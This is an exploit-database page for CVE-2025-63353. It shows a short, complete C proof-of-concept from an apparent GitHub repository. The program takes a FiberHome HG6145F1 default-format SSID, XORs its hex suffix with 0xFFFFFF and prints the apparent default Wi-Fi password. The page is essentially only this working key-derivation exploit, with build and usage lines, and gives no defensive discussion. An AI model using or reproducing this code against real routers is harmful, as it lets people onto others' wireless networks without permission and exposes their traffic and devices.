Exploit databaseDownload repository ZIP
GH-4e3323472df1b940d2b0bf57ac7db6e0
zvckster/cve-2025-63353
Sources for CVE-2025-63353
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
zvckster/cve-2025-63353Revision 7c493e0caaa5
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc/c/fh-poc.c
C · 1,079 bytes/*
* Build: cc fh_psk.c -o fh_psk
* Usage: ./fh_psk fh_a1f9d1
*/
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static int is_valid_ssid(const char *s) {
if (strlen(s) != 9) return 0;
if (s[0] != 'f' && s[0] != 'F') return 0;
if (s[1] != 'h' && s[1] != 'H') return 0;
if (s[2] != '_') return 0;
for (int i = 3; i < 9; i++) {
if (!isxdigit((unsigned char)s[i])) return 0;
}
return 1;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
fprintf(stderr, "usage: %s <ssid> [<ssid> ...]\n", argv[0]);
fprintf(stderr, "example: %s fh_a1f9d1\n", argv[0]);
return 1;
}
for (int i = 1; i < argc; i++) {
const char *ssid = argv[i];
if (!is_valid_ssid(ssid)) {
printf("%s\tnot a FiberHome HG6145F1 default-format SSID\n", ssid);
continue;
}
unsigned int hex_a = (unsigned int)strtoul(ssid + 3, NULL, 16);
unsigned int hex_b = 0xFFFFFFu ^ hex_a;
printf("%s\twlan%06x\n", ssid, hex_b);
}
return 0;
}